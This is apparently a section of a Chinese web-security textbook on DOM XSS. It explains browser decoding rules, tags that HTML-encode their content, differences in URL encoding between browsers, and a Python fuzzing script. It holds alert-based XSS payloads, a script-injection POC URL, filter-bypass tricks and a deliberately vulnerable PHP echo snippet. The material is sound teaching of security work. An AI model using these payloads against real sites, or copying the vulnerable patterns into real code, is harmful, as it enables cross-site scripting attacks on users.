6.2 神奇的DOM渲染

第3章简单分析过什么是DOM XSS,其实这类漏洞很普遍,很多防御体系都是在客户端进行的,客户端逻辑实际上可以很复杂,尤其是很多人喜欢用各种JavaScript去动态生成一些DOM逻辑。这种复杂性导致DOM XSS能够意外地出现,而且能让人费解,为什么会导致DOM XSS?

想理解为什么,就要先理解浏览器对待DOM数据的机制,这种对待也出现过差异,导致有的浏览器出现DOM XSS,而有的不会。

6.2.1 HTML与JavaScript自解码机制

关于这个自解码机制,我们直接以一个例子(样例0)来进行说明:

<input type="button" id="exec_btn" value="exec" onclick="document.write ('<img src=@ onerror=alert(123) />')" />

我们假设document.write里的值是用户可控的输入,点击后,document.write出现一段img HTML,onerror里的JavaScript会执行。此时陷阱来了,我们现在提供一段HtmlEncode函数如下(样例A):

<script>
function HtmlEncode(str) {
    var s = "";
    if (str.length == 0) return "";
    s = str.replace(/&/g, "&amp;");
    s = s.replace(/</g, "&lt;");
    s = s.replace(/>/g, "&gt;");
    s = s.replace(/\"/g, "&quot;");
    return s;
}
</script>
<input type="button" id="exec_btn" value="exec" onclick="document.write
(HtmlEncode('<img src=@ onerror=alert(123) />'))" />

我们知道HtmlEncode('<img src=@ onerror=alert(123) />')后的结果是:

&lt;img src=@ onerror=alert(123) /&gt;

这个样例A点击后会执行alert(123)吗?下面这个呢(样例B)?

<input type="button" id="exec_btn" value="exec" onclick="document.write ('&lt;img src=@ onerror=alert(123) /&gt;')" />

在样例A和样例B中,document.write的值似乎是一样的?实际结果是样例A点击不会执行alert(123),而是在页面上完整地输出<img src=@ onerror=alert(123) />,而样例B点击后会执行alert(123)。

我们要告诉大家的是,点击样例B时,document.write的值实际上不再是:

&lt;img src=@ onerror=alert(123) /&gt;

而是:

<img src=@ onerror=alert(123) />

我们可以这样论证:

<input type="button" id="exec_btn" value="exec" onclick="x='&lt;img src=@ onerror=alert(123) /&gt;';alert(x);document.write(x)" />

看弹出的x值就知道了,如图6-1所示。

156-1

图6-1 弹出框

出现这个结果的原因如下:

onclick里的这段JavaScript出现在HTML标签内,意味着这里的JavaScript可以进行HTML形式的编码,这种编码有以下两种。

在JavaScript执行之前,HTML形式的编码会自动解码。所以样例0与样例B的意义是一样的,而样例A就不一样了。下面我们继续完善这些例子。

上面的用户输入是出现在HTML里的情况,如果用户输入出现在<script>里的JavaScript中,情况会怎样,代码如下:

<input type="button" id="exec_btn" value="exec" />
<script>
function $(id){return document.getElementById(id);};
$('exec_btn').onclick = function(){
    document.write('<img src=@ onerror=alert(123)/>');
    //document.write('&lt;img src=@ onerror=alert(123) /&gt;');
};
</script>

这样是可以执行alert(123)的,如果用户输入的是下面的内容:

&lt;img src=@ onerror=alert(123) /&gt;

结果与样例B一样:这段HTML编码的内容在JavaScript执行之前自动解码吗?答案是不会,原因是用户输入的这段内容上下文环境是JavaScript,不是HTML(可以认为<script>标签里的内容和HTML环境毫无关系),此时用户输入的这段内容要遵守的是JavaScript法则,即JavaScript编码,具体有如下几种形式。

比如,用户输入被转义成如下形式:

\<img src\=@ onerror=alert\(123\) \/\>

这样的防御毫无意义,在JavaScript执行之前,这样的转义会自动去转义,alert(123)照样执行。同样,下面这样的JavaScript编码也毫无意义:

<img src=@ onerror=alert(123) />
-->
\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0040\u0020\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0032\u0033\u0029\u0020\u002f\u003e
\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x40\x20\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x61\x6c\x65\x72\x74\x28\x31\x32\x33\x29\x20\x2f\x3e

在JavaScript执行之前,这样的编码会自动解码。

通过这几个样例,我们可以知道在HTML中与在JavaScript中自动解码的差异。如果防御没区分这样的场景,就会出问题。

6.2.2 具备HtmlEncode功能的标签

上面这些例子中的信息量很大,是理解透DOM XSS的基础,下面我们进一步看看不同标签之间存在的一些差异,看下面这段代码:

<script>function $(id){return document.getElementById(id);};</script>
<input type="button" id="exec_btn" value="exec" onclick="$('i1').innerHTML='<img src=@ onerror=alert(123) />';alert($('i1').innerHTML);" />
<input type="button" id="exec2_btn" value="exec2" onclick="$('i2').innerHTML='<img src=@ onerror=alert(123) />';alert($('i2').innerHTML);" />
<textarea id="i1" style="width:600px;height:300px;"></textarea>
<div id="i2"></div>

点击exec_btn和点击exec2_btn的效果一样吗?如图6-2所示。

158-1

图6-2 exec_btn点击效果(左边)和exec2_btn点击效果(右边)

左图是点击exec_btn的效果,右图是点击exec2_btn的效果,前者进行了HtmlEncode编码。这是由<textarea>标签本身的性质决定的,HTML在<textarea>中是不解析的。同理可推,这样的标签还有:

<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>

这些标签在本章开头部分曾提到过,不过少了以下两个:

<xmp></xmp>
<plaintext></plaintext>

<xmp>没有HtmlEncode功能,<plaintext>在Firefox与Chrome下有差异,Firefox下不会进行HtmlEncode编码,而在Chrome下会,这样的差异有时候会导致安全问题。

注:

上面这个样例不用在IE下测试,因为IE有解析差异,会导致代码不执行。

2009年,我们发现WebKit内核的浏览器有一个安全差异,这个漏洞简述为:

获取textarea标签的innerHTML内容时,内容没有被编码,导致安全隐患产生。

...

如曾经的QQ滔滔做HtmlEncode采取了如下方式:

< script >
function HTMLEncode(s) {
    var html = "";
    var safeNode = document.createElement("TEXTAREA");
    if (safeNode) {
        safeNode.innerText = s;
        html = safeNode.innerHTML;
        safeNode = null;
    }
    return html;
}
var tmp = '<iframe src=http://baidu.com>';
alert(HTMLEncode(tmp));
</script>

因为textarea在HTML中的权重很高,允许html标签出现在<textarea></textarea >之间,所以这种做法本没有任何问题,但因为WebKit存在此缺陷,导致在Maxthon 3.0极速模式、Chrome和Safari的所有版本中,本应该是绝对安全的代码变成了恶意代码,并可以随意执行XSS语句。

这种差异导致这个网站在WebKit内核的浏览器下出现了DOM XSS漏洞。

6.2.3 URL编码差异

2011年3月,我们在xeyeteam.appspot.com上发布了一篇URL编码差异分析的文章,在此摘录文章如下:

浏览器在处理用户发起请求时的urlencode策略存在差异,导致在某些场景中出现XSS漏洞。最近,知道创宇的Web漏洞扫描器发现了多起这种类型的跨站,这些网站都是PHP类型的网站,包括国内知名的一些团购网站与游戏论坛。经过分析,导致这种浏览器差异性的XSS,除了与浏览器的urlencode策略差异有关,还与服务端代码的实现有关,这类安全风险不仅是PHP的特例,其他服务端语言环境也可能出现这类问题。

1. 漏洞分析

简单的测试poc如下:

分析地址:http://www.0x37.com:8989/test.php?c='"`<>!@$%^*(){}[]:;.,?~

发送请求时,抓包发现,浏览器的urlencode默认行为:

FireFox
GET /test.php?c=%27%22%60%3C%3E!@$%^*(){}[]:;.,?~ HTTP/1.1
编码了'"`<>特殊字符
Chrome
GET /test.php?c='%22`%3C%3E!@$%^*(){}[]:;.,?~ HTTP/1.1
只编码了"<>特殊字符
IE内核
GET /test.php?c='"`<>!@$%^*(){}[]:;.,?~ HTTP/1.1
不做任何编码

如果服务端语言直接获取到urlencode的内容进行输出,则可能导致在IE场景中出现XSS漏洞,在Chrome场景中出现小范围的XSS漏洞,而Firefox则比较安全(相对下面的这个场景而言)。以PHP为例进行说明:

浏览器urlencode差异导致出现XSS漏洞:
http://www.0x37.com:8989/test.php?c='"`<>!@$%^*(){}[]:;.,?~

<?php
echo '<h3>$_SERVER["QUERY_STRING"]</h3>';
echo $_SERVER['QUERY_STRING'];
echo '';
echo 'in &lt;input&gt; <input type="text" value="'.$_SERVER["QUERY_STRING"].'" />';

//echo '<h3>$_GET["c"]</h3>';
//echo $_GET["c"];
//echo '';
//echo 'in &lt;input&gt; <input type="text" value="'.$_GET["c"].'" />';
?>

POC: http://www.0x37.com:8989/test.php?c="><script>alert(/xeye/)</script>

注:

自己搭建PHP测试环境,www.0x37.com是本地hosts:P。

PHP中$_SERVER['QUERY_STRING']将获取到浏览器urlencode后的内容(在django中是request.get_full_path()),而$_GET["c"]获取到的是urlencode之前的内容。从这个场景中看,FireFox是最安全的,但在其他场景中就不一定了,至少FireFox将'"`<>都编码了,如果后台处理逻辑有问题,就很可能绕过一些过滤器,接着又进行了urldecode编码,这时问题就出现了。

2. 漏洞影响

其影响估计比较多,尤其是那些团购网,这种差异让浏览器解决不太实现,程序员们要注意避免。

实际上,这篇文章提到urlencode差异带来的安全问题同样适用于DOM XSS,如下测试代码:

<script>
    var loc = document.location.href;
    document.write("<div>" + loc + "</div>");
</script>

http://www.foo.com/loc.html?'"`<>!@$%^*(){}[]:;.,?~

使用不同的浏览器访问这个地址能看出差异,这种情况只能在IE下触发DOM XSS(不考虑IE XSS Filter):

http://www.foo.com/dom/loc.html?<script>alert(1)</script>

还有一个差异,如果是这样(#符号之后):

http://www.foo.com/loc.html#'"`<>!@$%^*(){}[]:;.,?~

Chrome的行为不一样了,不进行任何urlencode操作。通过这个技巧就可以在Chrome下触发DOM XSS(实际上会被Chrome XSS Filter拦截,在真实的场景下,我们要做的是突破这样的拦截):

http://www.foo.com/dom/loc.html#<script>alert(1)</script>

6.2.4 DOM修正式渲染

我们经常通过查看网页源码功能来看所谓的“HTML源码”,比如Chrome与Firefox下的view-source:http://www.foo.com/。这样看到的“HTML源码”实际上是静态的,我们研究DOM XSS接触的必须是动态结果。

Firefox安装了Firebug扩展,按F12键,在Chrome下按F12键,在IE 8/IE 9按F12键都可以打开对应的调试工具,这些调试工具查看的源码就是动态结果。我们也可以执行如下JavaScript语句进行查看:

document.documentElement.innerHTML;

通过这些小技巧,我们可以发现这些浏览器在DOM渲染上进行各种修正,不同的浏览器进行的这种修正可能存在一些差异。这种修正式的渲染可以用于绕过浏览器的XSS Filter。

“修正”功能不仅是浏览器的性质,其实在很多过滤器里都会有,有的人把这个过程叫做DOM重构。DOM重构分静态重构和动态重构,其差别就在于后者有JavaScript的参与。修正包括如下内容:

很多0day都是源于此,这种规律很难总结。

6.2.5 一种DOM fuzzing技巧

我们有些不错的发现都是通过模糊测试(fuzzing)实现的,这里分享一种常用的fuzzing技巧,大家可以举一反三。

下面介绍的fuzzing脚本采用Python编写。

Python脚本中fuzz_xss_0.py的代码如下:

#!/usr/bin/python
# encoding=utf-8

"""
成功会进行dom操作,往result div里附加结果
by cosine 2011/8/31
"""

def get_template(template_file):
    """获取fuzzing的模板文件内容"""
    f = open(template_file)
    template = f.read()
    f.close()
    return template

def set_result(result_file,result):
    """生成fuzzing结果文件"""
    f = open(result_file,'w')
    f.write(result)
    f.close()

if __name__ == '__main__':
    template = get_template("fuzz_xss_0.htm")
# 默认fuzzing模板文件是fuzz_xss_0.htm
    fuzz_area_0 = template.find('<fuzz>')
    fuzz_area_1 = template.find('</fuzz>')
    fuzz_area = template[fuzz_area_0+6: fuzz_area_1].strip()
    #chars = [chr(47),chr(32),chr(10)]
    chars = []
    for i in xrange(255): # ASCII码转换为字符
        if i!=62:
            chars.append(chr(i))

    fuzz_area_result = ''
    for c in chars: # 遍历这些字符,逐一生成fuzzing内容
        fuzz_area_r = fuzz_area.replace('{{char}}',c)
        fuzz_area_r = fuzz_area_r.replace('{{id}}',str(ord(c)))
        fuzz_area_result += fuzz_area_r + '\n'
        print fuzz_area_r
    result = template.replace(fuzz_area,fuzz_area_result)
    set_result('r.htm',result)

fuzzing模板fuzz_xss_0.htm的代码如下:

<title>Fuzz XSS 0</title>
<style>
    body{font-size:13px;}
    #p{width:700px;border:1px solid #ccc;padding:5px;background-color: #eee;}
    #result{width:700px;border:1px solid #ccc;padding:5px;background-color:#eee}
    h3{font-size:15px;color:#09c;}
</style>
<script>
    function $(x){return document.getElementById(x);}
    function f(id){
        $('result').innerHTML += id+'<br />';
    }
</script>

<h3>Fuzzing Result:</h3>
<xmp>
    {{id}}: <{{char}}script>f("{{id}}")</script>
</xmp>
<div id="result"></div><!-- fuzzing成功的字符ASCII码存储在这 -->

<br />
<h3>Fuzzing...:</h3>
<!-- 以下是待替换的模板标签内容 -->
<fuzz>
{{id}}: <{{char}}script>f("{{id}}")</script><br />
</fuzz>

就这两个简单的文件,fuzz_xss_0.py会调用fuzz_xss_0.htm这个fuzzing模板去按需生成结果文件r.htm,然后用浏览器打开r.htm,如果<fuzz></fuzz>里的某项可以被浏览器正确执行,那么就会触发f函数,f函数会往id为result的<div>标签里写模糊测试成功的字符ASCII码。在CMD下运行fuzz_xss_0.py的效果图如图6-3所示。

167-1

图6-3 fuzz_xss_0.py运行截图

这个模糊测试的目标是寻找哪些ASCII字符可以出现在<script>标签的左尖括号的后面,结论是:IE 9浏览器支持ASCII为0的字符,其他浏览器不支持,而ASCII为60的字符是<,可以忽略,看IE 9的截图,如图6-4所示。

167-2

图6-4 IE 9下查看模糊测试结果文件:r.htm

我们只要修改fuzz_xss_0.htm模板里要模糊测试的内容,就可以模糊测试我们想了解的DOM特性。